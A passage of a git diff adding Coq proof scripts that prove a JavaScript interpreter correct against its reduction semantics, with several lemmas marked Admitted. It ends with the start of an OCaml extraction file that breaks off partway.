+  run red_spec_function_bind_length_2. cases_if*; inverts R1.
+  applys* red_spec_function_bind_length_3_zero.
+  applys* red_spec_function_bind_length_3_L.
+  inverts R1. applys* red_spec_function_bind_length_false.
+  repeat let_name. 
+  run; rename x into S''. run. repeat let_name.
+  forwards B: @pick_option_correct (rm E0).
+  applys* red_spec_function_bind_5.
+  applys* red_spec_function_bind_6. rewrite* <- EQA0. substs.
+  run* red_spec_function_bind_7. 
+  run* red_spec_function_bind_8. 
+  apply red_spec_function_bind_9.
+
+  (* prealloc_bool *)
+  inverts HR. apply~ red_spec_call_bool.
+    apply~ get_arg_correct_0.
+  apply~ red_spec_to_boolean.
+  (* prealloc_bool_proto *)
+  discriminate.
+  (* prealloc_bool_proto_to_string *)  
+  destruct vthis as [p | l].
+    destruct p; try solve [
+      apply red_spec_call_bool_proto_to_string_not_bool;
+      [introv Hv; inverts Hv | applys* run_error_correct]]. 
+    inverts HR. applys* red_spec_call_bool_proto_to_string_bool. constructor.
+    remember (run_object_method object_class_ S l). destruct o0.
+    simpls. cases_if*. 
+    remember (run_object_method object_prim_value_ S l). destruct o0.
+    simpls. destruct o0. destruct v. 
+    destruct p.
+      apply red_spec_call_bool_proto_to_string_not_bool;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      symmetry in Heqo1. apply run_object_method_correct in Heqo1.
+      destruct Heqo1 as (O1 & Hb1 & Hv1).
+      destruct H3 as (O2 & Hb2 & Hv2).
+      assert (O1 = O2).
+      {
+        applys* Heap_binds_func.
+        apply object_loc_comparable. 
+      } subst. false~.
+      apply red_spec_call_bool_proto_to_string_not_bool;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      symmetry in Heqo1. apply run_object_method_correct in Heqo1.
+      destruct Heqo1 as (O1 & Hb1 & Hv1).
+      destruct H3 as (O2 & Hb2 & Hv2).
+      assert (O1 = O2).
+      {
+        applys* Heap_binds_func.
+        apply object_loc_comparable. 
+      } subst. false~.
+      inverts HR. subst. 
+      symmetry in Heqo1, Heqo0. 
+      apply run_object_method_correct in Heqo0. 
+      apply run_object_method_correct in Heqo1. 
+      applys* red_spec_call_bool_proto_to_string_bool.
+      constructor*.
+      apply red_spec_call_bool_proto_to_string_not_bool;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      symmetry in Heqo1. apply run_object_method_correct in Heqo1.
+      destruct Heqo1 as (O1 & Hb1 & Hv1).
+      destruct H3 as (O2 & Hb2 & Hv2).
+      assert (O1 = O2).
+      {
+        applys* Heap_binds_func.
+        apply object_loc_comparable. 
+      } subst. false~.
+      apply red_spec_call_bool_proto_to_string_not_bool;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      symmetry in Heqo1. apply run_object_method_correct in Heqo1.
+      destruct Heqo1 as (O1 & Hb1 & Hv1).
+      destruct H3 as (O2 & Hb2 & Hv2).
+      assert (O1 = O2).
+      {
+        applys* Heap_binds_func.
+        apply object_loc_comparable. 
+      } subst. false~.
+      apply red_spec_call_bool_proto_to_string_not_bool;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      symmetry in Heqo1. apply run_object_method_correct in Heqo1.
+      destruct Heqo1 as (O1 & Hb1 & Hv1).
+      destruct H3 as (O2 & Hb2 & Hv2).
+      assert (O1 = O2).
+      {
+        applys* Heap_binds_func.
+        apply object_loc_comparable. 
+      } subst. false~.
+      apply red_spec_call_bool_proto_to_string_not_bool;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      symmetry in Heqo1. apply run_object_method_correct in Heqo1.
+      destruct Heqo1 as (O1 & Hb1 & Hv1).
+      destruct H3 as (O2 & Hb2 & Hv2).
+      assert (O1 = O2).
+      {
+        applys* Heap_binds_func.
+        apply object_loc_comparable. 
+      } subst. false~.
+      simpls.  apply red_spec_call_bool_proto_to_string_not_bool;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      destruct H3 as (O & Hb & Hv).
+      unfolds run_object_method.
+      assert (exists a, object_binds S l a).
+        eexists; jauto.
+      lets Hyp : (@pick_option_defined _ (object_binds S l) (object_binds_pickable_option S l) H). 
+      destruct Hyp as (a & Heq). 
+      rewrite Heq in Heqo1.
+      simpls. inverts Heqo1.
+      apply red_spec_call_bool_proto_to_string_not_bool;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      destruct H0 as (O & Hb & Hv).
+      unfolds run_object_method.
+      assert (exists a, object_binds S l a).
+        exists~ O. 
+      lets Hyp : (@pick_option_defined _ (object_binds S l) (object_binds_pickable_option S l) H). 
+      destruct Hyp as (a & Heq). 
+      rewrite Heq in Heqo0.
+      simpls. assert (a = O).
+      {
+        apply pick_option_correct in Heq.
+        applys* Heap_binds_func.
+        apply object_loc_comparable. 
+      } subst. rewrite Hv in Heqo0. false*.
+      simpls. apply red_spec_call_bool_proto_to_string_not_bool;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      destruct H0 as (O & Hb & Hv).
+      unfolds run_object_method.
+      assert (exists a, object_binds S l a).
+        exists~ O. 
+      lets Hyp : (@pick_option_defined _ (object_binds S l) (object_binds_pickable_option S l) H). 
+      destruct Hyp as (a & Heq). 
+      rewrite Heq in Heqo0.
+      simpls. inverts Heqo0. 
+  (* prealloc_bool_proto_value_of *)
+  destruct vthis as [p | l].
+    destruct p; try solve [
+      apply red_spec_call_bool_proto_value_of_not_bool;
+      [introv Hv; inverts Hv | applys* run_error_correct]]. 
+    inverts HR. apply red_spec_call_bool_proto_value_of_bool. constructor.
+    remember (run_object_method object_class_ S l). destruct o0.
+    simpls. cases_if*. 
+    remember (run_object_method object_prim_value_ S l). destruct o0.
+    simpls. destruct o0. destruct v. 
+    destruct p.
+      apply red_spec_call_bool_proto_value_of_not_bool;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      symmetry in Heqo1. apply run_object_method_correct in Heqo1.
+      destruct Heqo1 as (O1 & Hb1 & Hv1).
+      destruct H3 as (O2 & Hb2 & Hv2).
+      assert (O1 = O2).
+      {
+        applys* Heap_binds_func.
+        apply object_loc_comparable. 
+      } subst. false~.
+      apply red_spec_call_bool_proto_value_of_not_bool;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      symmetry in Heqo1. apply run_object_method_correct in Heqo1.
+      destruct Heqo1 as (O1 & Hb1 & Hv1).
+      destruct H3 as (O2 & Hb2 & Hv2).
+      assert (O1 = O2).
+      {
+        applys* Heap_binds_func.
+        apply object_loc_comparable. 
+      } subst. false~.
+      inverts HR. subst. apply red_spec_call_bool_proto_value_of_bool.
+      symmetry in Heqo1, Heqo0. 
+      apply run_object_method_correct in Heqo0. 
+      apply run_object_method_correct in Heqo1. 
+      constructor*.
+      apply red_spec_call_bool_proto_value_of_not_bool;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      symmetry in Heqo1. apply run_object_method_correct in Heqo1.
+      destruct Heqo1 as (O1 & Hb1 & Hv1).
+      destruct H3 as (O2 & Hb2 & Hv2).
+      assert (O1 = O2).
+      {
+        applys* Heap_binds_func.
+        apply object_loc_comparable. 
+      } subst. false~.
+      apply red_spec_call_bool_proto_value_of_not_bool;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      symmetry in Heqo1. apply run_object_method_correct in Heqo1.
+      destruct Heqo1 as (O1 & Hb1 & Hv1).
+      destruct H3 as (O2 & Hb2 & Hv2).
+      assert (O1 = O2).
+      {
+        applys* Heap_binds_func.
+        apply object_loc_comparable. 
+      } subst. false~.
+      apply red_spec_call_bool_proto_value_of_not_bool;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      symmetry in Heqo1. apply run_object_method_correct in Heqo1.
+      destruct Heqo1 as (O1 & Hb1 & Hv1).
+      destruct H3 as (O2 & Hb2 & Hv2).
+      assert (O1 = O2).
+      {
+        applys* Heap_binds_func.
+        apply object_loc_comparable. 
+      } subst. false~.
+      apply red_spec_call_bool_proto_value_of_not_bool;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      symmetry in Heqo1. apply run_object_method_correct in Heqo1.
+      destruct Heqo1 as (O1 & Hb1 & Hv1).
+      destruct H3 as (O2 & Hb2 & Hv2).
+      assert (O1 = O2).
+      {
+        applys* Heap_binds_func.
+        apply object_loc_comparable. 
+      } subst. false~.
+      simpls.  apply red_spec_call_bool_proto_value_of_not_bool;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      destruct H3 as (O & Hb & Hv).
+      unfolds run_object_method.
+      assert (exists a, object_binds S l a).
+        eexists; jauto.
+      lets Hyp : (@pick_option_defined _ (object_binds S l) (object_binds_pickable_option S l) H). 
+      destruct Hyp as (a & Heq). 
+      rewrite Heq in Heqo1.
+      simpls. inverts Heqo1.
+      apply red_spec_call_bool_proto_value_of_not_bool;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      destruct H0 as (O & Hb & Hv).
+      unfolds run_object_method.
+      assert (exists a, object_binds S l a).
+        exists~ O. 
+      lets Hyp : (@pick_option_defined _ (object_binds S l) (object_binds_pickable_option S l) H). 
+      destruct Hyp as (a & Heq). 
+      rewrite Heq in Heqo0.
+      simpls. assert (a = O).
+      {
+        apply pick_option_correct in Heq.
+        applys* Heap_binds_func.
+        apply object_loc_comparable. 
+      } subst. rewrite Hv in Heqo0. false*.
+      simpls. apply red_spec_call_bool_proto_value_of_not_bool;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      destruct H0 as (O & Hb & Hv).
+      unfolds run_object_method.
+      assert (exists a, object_binds S l a).
+        exists~ O. 
+      lets Hyp : (@pick_option_defined _ (object_binds S l) (object_binds_pickable_option S l) H). 
+      destruct Hyp as (a & Heq). 
+      rewrite Heq in Heqo0.
+      simpls. inverts Heqo0. 
+  (* prealloc_number *)
+  cases_if.
+  substs. inverts HR. apply~ red_spec_call_number_nil.
+  inverts HR. apply~ red_spec_call_number_not_nil.
+    apply~ get_arg_correct_0.
+  apply* to_number_correct.
+  (* prealloc_number_proto *)
+  discriminate.
+  (* prealloc_number_proto_to_string *)
+  discriminate.
+  (* prealloc_number_proto_value_of *)
+  destruct vthis as [p | l].
+    destruct p; try solve [
+      apply red_spec_call_number_proto_value_of_not_number;
+      [introv Hv; inverts Hv | applys* run_error_correct]]. 
+    inverts HR. apply red_spec_call_number_proto_value_of_number. constructor.
+    remember (run_object_method object_class_ S l). destruct o0.
+    simpls. cases_if*. 
+    remember (run_object_method object_prim_value_ S l). destruct o0.
+    simpls. destruct o0. destruct v. 
+    destruct p.
+      apply red_spec_call_number_proto_value_of_not_number;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      symmetry in Heqo1. apply run_object_method_correct in Heqo1.
+      destruct Heqo1 as (O1 & Hb1 & Hv1).
+      destruct H3 as (O2 & Hb2 & Hv2).
+      assert (O1 = O2).
+      {
+        applys* Heap_binds_func.
+        apply object_loc_comparable. 
+      } subst. false~.
+      apply red_spec_call_number_proto_value_of_not_number;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      symmetry in Heqo1. apply run_object_method_correct in Heqo1.
+      destruct Heqo1 as (O1 & Hb1 & Hv1).
+      destruct H3 as (O2 & Hb2 & Hv2).
+      assert (O1 = O2).
+      {
+        applys* Heap_binds_func.
+        apply object_loc_comparable. 
+      } subst. false~.
+      apply red_spec_call_number_proto_value_of_not_number;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      symmetry in Heqo1. apply run_object_method_correct in Heqo1.
+      destruct Heqo1 as (O1 & Hb1 & Hv1).
+      destruct H3 as (O2 & Hb2 & Hv2).
+      assert (O1 = O2).
+      {
+        applys* Heap_binds_func.
+        apply object_loc_comparable. 
+      } subst. false~.
+      inverts HR. subst. apply red_spec_call_number_proto_value_of_number.
+      symmetry in Heqo1, Heqo0. 
+      apply run_object_method_correct in Heqo0. 
+      apply run_object_method_correct in Heqo1. 
+      constructor*.
+      apply red_spec_call_number_proto_value_of_not_number;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      symmetry in Heqo1. apply run_object_method_correct in Heqo1.
+      destruct Heqo1 as (O1 & Hb1 & Hv1).
+      destruct H3 as (O2 & Hb2 & Hv2).
+      assert (O1 = O2).
+      {
+        applys* Heap_binds_func.
+        apply object_loc_comparable. 
+      } subst. false~.
+      apply red_spec_call_number_proto_value_of_not_number;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      symmetry in Heqo1. apply run_object_method_correct in Heqo1.
+      destruct Heqo1 as (O1 & Hb1 & Hv1).
+      destruct H3 as (O2 & Hb2 & Hv2).
+      assert (O1 = O2).
+      {
+        applys* Heap_binds_func.
+        apply object_loc_comparable. 
+      } subst. false~.
+      apply red_spec_call_number_proto_value_of_not_number;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      symmetry in Heqo1. apply run_object_method_correct in Heqo1.
+      destruct Heqo1 as (O1 & Hb1 & Hv1).
+      destruct H3 as (O2 & Hb2 & Hv2).
+      assert (O1 = O2).
+      {
+        applys* Heap_binds_func.
+        apply object_loc_comparable. 
+      } subst. false~.
+      simpls.  apply red_spec_call_number_proto_value_of_not_number;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      destruct H3 as (O & Hb & Hv).
+      unfolds run_object_method.
+      assert (exists a, object_binds S l a).
+        eexists; jauto.
+      lets Hyp : (@pick_option_defined _ (object_binds S l) (object_binds_pickable_option S l) H). 
+      destruct Hyp as (a & Heq). 
+      rewrite Heq in Heqo1.
+      simpls. inverts Heqo1.
+      apply red_spec_call_number_proto_value_of_not_number;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      destruct H0 as (O & Hb & Hv).
+      unfolds run_object_method.
+      assert (exists a, object_binds S l a).
+        exists~ O. 
+      lets Hyp : (@pick_option_defined _ (object_binds S l) (object_binds_pickable_option S l) H). 
+      destruct Hyp as (a & Heq). 
+      rewrite Heq in Heqo0.
+      simpls. assert (a = O).
+      {
+        apply pick_option_correct in Heq.
+        applys* Heap_binds_func.
+        apply object_loc_comparable. 
+      } subst. rewrite Hv in Heqo0. false*.
+      simpls. apply red_spec_call_number_proto_value_of_not_number;
+      [introv Hv; inverts Hv | applys* run_error_correct]. 
+      destruct H0 as (O & Hb & Hv).
+      unfolds run_object_method.
+      assert (exists a, object_binds S l a).
+        exists~ O. 
+      lets Hyp : (@pick_option_defined _ (object_binds S l) (object_binds_pickable_option S l) H). 
+      destruct Hyp as (a & Heq). 
+      rewrite Heq in Heqo0.
+      simpls. inverts Heqo0. 
+  (* prealloc_number_proto_to_fixed *)
+  discriminate.
+  (* prealloc_number_proto_to_exponential *)
+  discriminate.
+  (* prealloc_number_proto_to_precision *)
+  discriminate.
+
+  (* prealloc_array *)
+  apply run_construct_prealloc_correct in HR; auto.
+  applys* red_spec_call_to_construct_array. auto.
+
+  (* prealloc_array_is_array *)
+  let_name; subst. 
+  applys* red_spec_call_array_is_array_fetch_arg.
+    applys* get_arg_correct_0.
+  destruct (get_arg 0 args). 
+    inverts HR. applys* red_spec_call_array_is_array_1. 
+    run. apply run_object_method_correct in E. 
+    applys* red_spec_call_array_is_array_2_branch.
+    cases_if*; inverts HR.
+      applys* red_spec_call_array_is_array_2.
+      applys* red_spec_call_array_is_array_3.
+
+  (* prealloc_array_proto *)
+  discriminate.
+
+  (* prealloc_array_proto_to_string *)
+  run red_spec_call_array_proto_to_string using to_object_correct.
+  run red_spec_call_array_proto_to_string_1 using run_object_get_correct.
+  cases_if*. 
+  destruct v as [p | array]; inverts HR.
+  applys* red_spec_call_array_proto_to_string_2_true.
+  applys* runs_type_correct_call.
+  applys* red_spec_call_array_proto_to_string_2_false.
+  applys* runs_type_correct_call_prealloc.
+  
+  (* prealloc_array_proto_join *)
+  let_name; subst.
+  run red_spec_call_array_proto_join using to_object_correct.
+  run red_spec_call_array_proto_join_1 using run_object_get_correct.
+  run red_spec_call_array_proto_join_2. let_name; subst.
+  applys* red_spec_call_array_proto_join_3. 
+  apply get_arg_correct_0. cases_if*.
+  run~ red_spec_call_array_proto_join_3_other.
+  cases_if*. inverts HR. applys* red_spec_call_array_proto_join_4.
+  let_name; subst.
+  run~ red_spec_call_array_proto_join_5 using vtsfj_correct. 
+  apply red_spec_call_array_proto_join_6. applys* run_array_join_elements_correct.
+  run~ red_spec_call_array_proto_join_3_undef.
+  cases_if*. inverts HR. applys* red_spec_call_array_proto_join_4.
+  let_name; subst.
+  run~ red_spec_call_array_proto_join_5 using vtsfj_correct. 
+  apply red_spec_call_array_proto_join_6. applys* run_array_join_elements_correct.
+
+  (* prealloc_array_proto_pop *)
+  run red_spec_call_array_proto_pop using to_object_correct. 
+  run red_spec_call_array_proto_pop_1 using run_object_get_correct.
+  run red_spec_call_array_proto_pop_2. cases_if*. subst.
+  apply red_spec_call_array_proto_pop_3_empty.
+  run red_spec_call_array_proto_pop_3_empty_1.
+  apply red_spec_call_array_proto_pop_3_empty_2.
+  applys~ red_spec_call_array_proto_pop_3_nonempty.
+  run red_spec_call_array_proto_pop_3_nonempty_1.
+  run red_spec_call_array_proto_pop_3_nonempty_2 using run_object_get_correct.
+  run red_spec_call_array_proto_pop_3_nonempty_3 using object_delete_default_correct. 
+  run red_spec_call_array_proto_pop_3_nonempty_4.
+  applys~ red_spec_call_array_proto_pop_3_nonempty_5.
+  
+  (* prealloc_array_proto_push *)
+  run red_spec_call_array_proto_push using to_object_correct. 
+  run red_spec_call_array_proto_push_1 using run_object_get_correct.
+  run red_spec_call_array_proto_push_2.
+  applys* push_correct.
+
+  (* prealloc_string *)
+
+  cases_if; substs.
+    inverts HR. apply red_spec_call_string_empty.
+    let_name; substs. run red_spec_call_string_non_empty.
+      apply get_arg_correct_0.
+    apply red_spec_call_string_non_empty_1.
+
+  (* prealloc_string_proto *)
+  discriminate. (* LATER *)
+  (* prealloc_string_proto_to_string *)
+  applys* red_spec_call_string_proto_to_string.
+  destruct vthis as [p | l]. cases_if*. 
+  inverts HR. applys* red_spec_call_string_proto_value_of_prim_string.
+  applys* red_spec_call_string_proto_value_of_bad_type.
+  run. apply run_object_method_correct in E.
+  cases_if*. subst.
+  apply run_object_prim_value_correct in HR.
+  destruct HR as (v & Heq & Hprim). subst.
+  applys* red_spec_call_string_proto_value_of_obj_string.
+  applys* red_spec_call_string_proto_value_of_obj_other.
+  destruct E as (y & Hbind & Hclass).
+  introv (y' & Hbind' & Hclass').
+  assert (y = y'). applys* Heap_binds_func.
+  apply object_loc_comparable. subst. false~.
+   (* prealloc_string_proto_value_of *)
+  destruct vthis as [p | l]. cases_if*. inverts HR. 
+  applys* red_spec_call_string_proto_value_of_prim_string.
+  applys* red_spec_call_string_proto_value_of_bad_type.
+run. apply run_object_method_correct in E.
+  cases_if*. subst.
+  apply run_object_prim_value_correct in HR.
+  destruct HR as (v & Heq & Hprim). subst.
+  applys* red_spec_call_string_proto_value_of_obj_string.
+  applys* red_spec_call_string_proto_value_of_obj_other.
+  destruct E as (y & Hbind & Hclass).
+  introv (y' & Hbind' & Hclass').
+  assert (y = y'). applys* Heap_binds_func.
+  apply object_loc_comparable. subst. false~.
+  (* prealloc_string_proto_char_at *)
+  discriminate.
+  (* prealloc_string_proto_char_code_at *)
+  discriminate.
+  (* prealloc_math *)
+  discriminate.
+  (* prealloc_mathop *)
+  discriminate.
+  (* prealloc_date *)
+  discriminate.
+  (* prealloc_regexp *)
+  discriminate.     
+  (* prealloc_error *)
+  let_name. apply~ red_spec_call_error.
+    apply~ get_arg_correct_0.
+  substs. apply* build_error_correct.
+  (* prealloc_error_proto *)
+  discriminate.
+  (* prealloc_native_error *)
+  let_name. applys* red_spec_call_native_error.
+    apply~ get_arg_correct_0.
+  substs; applys* build_error_correct.
+  (* prealloc_native_error_proto *)
+  discriminate.
+  (* prealloc_error_proto_to_string *)
+  discriminate.
+  (* prealloc_throw_type_error *)
+  apply~ red_spec_call_throw_type_error.
+  apply* run_error_correct.
+  (* prealloc_json *)
+  discriminate.
+Admitted. (* faster *)
+
+Lemma run_call_correct : forall runs S C l v vs o,
+  runs_type_correct runs ->
+  run_call runs S C l v vs = o ->
+  red_expr S C (spec_call l v vs) o.
+Proof.
+  introv IH HR. simpls. unfolds in HR.
+  run. run. subst. lets H: run_object_method_correct (rm E).
+  applys* red_spec_call. clear H.
+  destruct x0.
+    applys* red_spec_call_1_default. applys* red_spec_call_default.
+    applys* entering_func_code_correct.
+
+    repeat run. let_name. subst.
+    apply run_object_method_correct in E; apply run_object_method_correct in E1; 
+    apply run_object_method_correct in E3.
+    applys* red_spec_call_1_after_bind_full.
+    applys* runs_type_correct_call.
+
+    applys* red_spec_call_1_prealloc. applys* run_call_prealloc_correct.
+Admitted. (* faster *)
+
+
+Lemma run_stat_while_correct : forall runs S C rv ls e t o,
+  runs_type_correct runs ->
+  run_stat_while runs S C rv ls e t = o ->
+  red_stat S C (stat_while_1 ls e t rv) o.
+Proof.
+  intros runs IH ls e t S C rv o R. unfolds in R.
+  run_pre. lets (y1&R2&K): if_spec_post_to_bool (rm R1) (rm R).
+   applys~ red_stat_while_1 (rm R2). run_post_if_spec_ter_post_bool K.
+    case_if.
+    run red_stat_while_2_true.
+     let_name. let_simpl. applys red_stat_while_3 rv'. case_if; case_if*.
+     case_if in K.
+       applys red_stat_while_4_not_continue. rew_logic*. case_if in K.
+         run_inv. applys* red_stat_while_5_break.
+         applys* red_stat_while_5_not_break. case_if in K; run_inv.
+           applys* red_stat_while_6_abort.
+           applys* red_stat_while_6_normal. run_hyp*.
+       rew_logic in *. applys* red_stat_while_4_continue. run_hyp*.
+   run_inv. applys red_stat_while_2_false.
+Admitted. (*faster*)
+
+Lemma run_stat_do_while_correct : forall runs S C rv ls e t o,
+  runs_type_correct runs ->
+  run_stat_do_while runs S C rv ls e t = o ->
+  red_stat S C (stat_do_while_1 ls t e rv) o.
+Proof.
+  introv IH R. unfolds in R.
+  run red_stat_do_while_1. do 2 let_name.
+  applys~ red_stat_do_while_2 rv'.
+    repeat cases_if~. clear EQrv'.
+  asserts loop_correct: (forall o, loop tt = res_out o ->
+      red_stat S0 C (stat_do_while_6 ls t e rv') o).
+    clear R. introv H. subst loop.
+     run_pre. lets (y1&R2&K): if_spec_post_to_bool (rm R1) (rm H).
+     applys~ red_stat_do_while_6 (rm R2). run_post_if_spec_ter_post_bool K.
+     cases_if.
+      apply~ red_stat_do_while_7_true. apply* IH.
+      run_inv. apply* red_stat_do_while_7_false.
+  clear EQloop. cases_if in R.
+   apply~ red_stat_do_while_3_continue. rewrite decide_def in H. cases_if~ in H.
+   apply~ red_stat_do_while_3_not_continue.
+     rewrite decide_def in H. cases_if~ in H. clear H. cases_if.
+    run_inv. apply~ red_stat_do_while_4_break.
+    apply~ red_stat_do_while_4_not_break. cases_if; run_inv.
+     apply~ red_stat_do_while_5_abort.
+     apply~ red_stat_do_while_5_normal.
+Admitted. (*faster*)
+
+Lemma run_stat_for_loop_correct : forall runs S C labs rv eo2 eo3 t o,
+  runs_type_correct runs ->
+  run_stat_for_loop runs S C labs rv eo2 eo3 t = o ->
+  red_stat S C (stat_for_2 labs rv eo2 eo3 t) o.
+Proof.
+  introv IH R. unfolds in R. let_name.
+  asserts follows_correct: (forall S o, follows S = res_out o ->
+    red_stat S C (stat_for_4 labs rv eo2 eo3 t) o).
+    clear R. introv R. rewrite EQfollows in R. clear EQfollows.
+    run red_stat_for_4. do 2 let_name. applys~ red_stat_for_5 rv'.
+     repeat cases_if*.
+    clear EQrv'. cases_if.
+     run_inv. apply~ red_stat_for_6_break.
+     apply~ red_stat_for_6_not_break. rew_logic~ in *. cases_if.
+      apply red_stat_for_7_continue. rew_logic~ in *. destruct eo3.
+       run red_stat_for_8_some. subst loop. run_hyp.
+        apply~ red_stat_for_9.
+       subst loop. run_hyp. apply~ red_stat_for_8_none.
+      run_inv. apply~ red_stat_for_7_abort. rew_logic* in *.
+  clear EQfollows. destruct eo2.
+   run_pre. lets (y1&R2&K): if_spec_post_to_bool (rm R1) (rm R).
+    applys~ red_stat_for_2_some (rm R2). run_post_if_spec_ter_post_bool K.
+    cases_if; run_inv.
+     apply~ red_stat_for_3_not_false. discriminate.
+     apply~ red_stat_for_3_false.
+   apply~ red_stat_for_2_none.
+Admitted. (*faster*)
+
+
+Lemma object_proto_is_prototype_of_correct : forall runs S C lthis l o,
+  runs_type_correct runs ->
+  object_proto_is_prototype_of runs S lthis l = o ->
+  red_expr S C (spec_call_object_proto_is_prototype_of_2_3 lthis l) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  run. forwards* Omp: run_object_method_correct.
+  applys~ red_spec_call_object_proto_is_prototype_of_3 Omp.
+  destruct x as [p|]. (* LTAC ARTHUR *)
+   destruct p; inverts HR.
+    apply~ red_spec_call_object_proto_is_prototype_of_4_null.
+   cases_if; substs; inverts HR.
+    apply~ red_spec_call_object_proto_is_prototype_of_4_equal.
+    run_hyp. apply* red_spec_call_object_proto_is_prototype_of_4_not_equal.
+Admitted. (*faster*)
+
+
+Lemma run_equal_correct : forall runs S C v1 v2 o,
+  runs_type_correct runs ->
+  run_equal runs S C v1 v2 = o ->
+  red_expr S C (spec_equal v1 v2) o.
+Proof.
+  introv IH R. unfolds in R. let_simpl.
+  apply~ red_spec_equal. cases_if.
+   run_inv. rewrite e. apply~ red_spec_equal_1_same_type.
+   apply~ red_spec_equal_1_diff_type. let_name.
+   asserts dc_conv_correct: (forall v1 F Ext v2 o,
+     dc_conv v1 F v2 = res_out o ->
+     (forall S v o, F S v = o -> red_expr S C (Ext v) o) ->
+     red_expr S C (spec_equal_3 v1 Ext v2) o).
+     clear R. introv E Cor. substs. run red_spec_equal_3_convert_and_recurse.
+       run_inv. apply* Cor.
+     run_hyp. apply~ red_spec_equal_4_recurse.
+   clear EQdc_conv.
+  Ltac eqcas R :=
+     match type of R with context [ ifb ?P then _ else _ ] =>
+       let x := fresh "x" in set (x := P) in * end;
+     case_if in R as C; [ rewrite If_l; try assumption
+                        | rewrite If_r; try assumption ].
+   eqcas R. run_inv. applys red_spec_equal_2_return.
+   eqcas R. run_inv. applys red_spec_equal_2_return.
+   eqcas R. applys dc_conv_correct R. introv E. applys* to_number_correct E.
+   eqcas R. applys dc_conv_correct R. introv E. applys* to_number_correct E.
+   eqcas R. applys dc_conv_correct R. introv E. applys* to_number_correct E.
+   eqcas R. applys dc_conv_correct R. introv E. applys* to_number_correct E.
+   eqcas R. applys dc_conv_correct R. introv E. applys* to_primitive_correct E.
+   eqcas R. applys dc_conv_correct R. introv E. applys* to_primitive_correct E.
+   run_inv. applys red_spec_equal_2_return.
+Admitted. (* faster *)
+
+Theorem runs_correct : forall num,
+  runs_type_correct (runs num).
+Proof.
+  induction num.
+   constructors;
+     try (introv M; inverts M; introv P; inverts P). 
+     introv Hyp M; inverts M. 
+   constructors.
+     introv. apply~ run_expr_correct.
+     introv. apply~ run_stat_correct.
+     introv. apply~ run_prog_correct.
+     introv. apply~ run_call_correct.
+     introv. apply~ run_call_prealloc_correct.
+     introv. apply~ run_construct_correct.
+     introv. apply~ run_function_has_instance_correct.
+     introv. apply~ run_function_proto_apply_get_args_correct.
+     introv. apply~ run_object_has_instance_correct.
+     introv. apply~ run_stat_while_correct.
+     introv. apply~ run_stat_do_while_correct.
+     introv. apply~ run_stat_for_loop_correct.
+     introv. apply~ object_delete_correct.
+     introv. apply~ run_object_get_own_prop_correct.
+     introv. apply~ run_object_get_prop_correct.
+     introv. apply~ run_object_get_correct.
+     introv. apply~ object_proto_is_prototype_of_correct.
+     introv. apply~ object_put_correct.
+     introv. apply~ run_equal_correct.
+     introv. apply~ to_integer_correct.
+     introv. apply~ to_string_correct.
+     introv. apply~ run_array_element_list_correct.
+     introv Hyp. apply~ run_object_define_own_prop_array_loop_correct.
+     introv. apply~ run_array_join_elements_correct.
+Qed.
+
+Theorem run_javascript_correct : forall runs p o,
+  runs_type_correct runs ->
+  run_javascript runs p = o ->
+  red_javascript p o.
+Proof.
+  introv IH HR. unfolds in HR. run_pre as o1 R1.
+  applys* red_javascript_intro R1. run_post. run_inv. run_hyp.
+  apply~ red_javascript_intro_1.
+Qed.
+
+Corollary run_javascript_correct_num : forall num p o,
+  run_javascript (runs num) p = result_out o ->
+  red_javascript p o.
+Proof.
+  introv IH. applys~ run_javascript_correct IH.
+  apply~ runs_correct.
+Qed. 
+
diff --git a/samples/Coq/JsInterpreterExtraction.v b/samples/Coq/JsInterpreterExtraction.v
new file mode 100644
index 0000000000..faa210e1aa
--- /dev/null
+++ b/samples/Coq/JsInterpreterExtraction.v
@@ -0,0 +1,249 @@
+Set Implicit Arguments.
+Require Import JsSyntax JsInterpreterMonads JsInterpreter JsInit.
+Require Import LibFix LibList.
+
+Require Export Shared.
+Require Export LibTactics LibLogic LibReflect LibList
+  LibOperation LibStruct LibNat LibEpsilon LibFunc LibHeap.
+Require Flocq.Appli.Fappli_IEEE Flocq.Appli.Fappli_IEEE_bits.
+
+
+
+(* Here stands some commands to extract relatively correctly the interpreter to Ocaml. *)
+Extraction Language Ocaml.
+
+Require Import ExtrOcamlBasic.
+Require Import ExtrOcamlNatInt.
+Require Import ExtrOcamlString.
+
+(* Optimal fixpoint. *)
+Extraction Inline FixFun3 FixFun3Mod FixFun4 FixFun4Mod FixFunMod curry3 uncurry3 curry4 uncurry4.
+(* As classical logic statements are now unused, they should not be extracted
+   (otherwise, useless errors will be launched). *)
+Extraction Inline epsilon epsilon_def classicT arbitrary indefinite_description Inhab_witness Fix isTrue.
+
+(**************************************************************)
+(** ** Numerical values *)
+
+(* number *)
+
+Extract Inductive positive => float
+[ "(fun p -> 1. +. (2. *. p))"
+  "(fun p -> 2. *. p)"
+  "1." ]
+"(fun f2p1 f2p f1 p ->
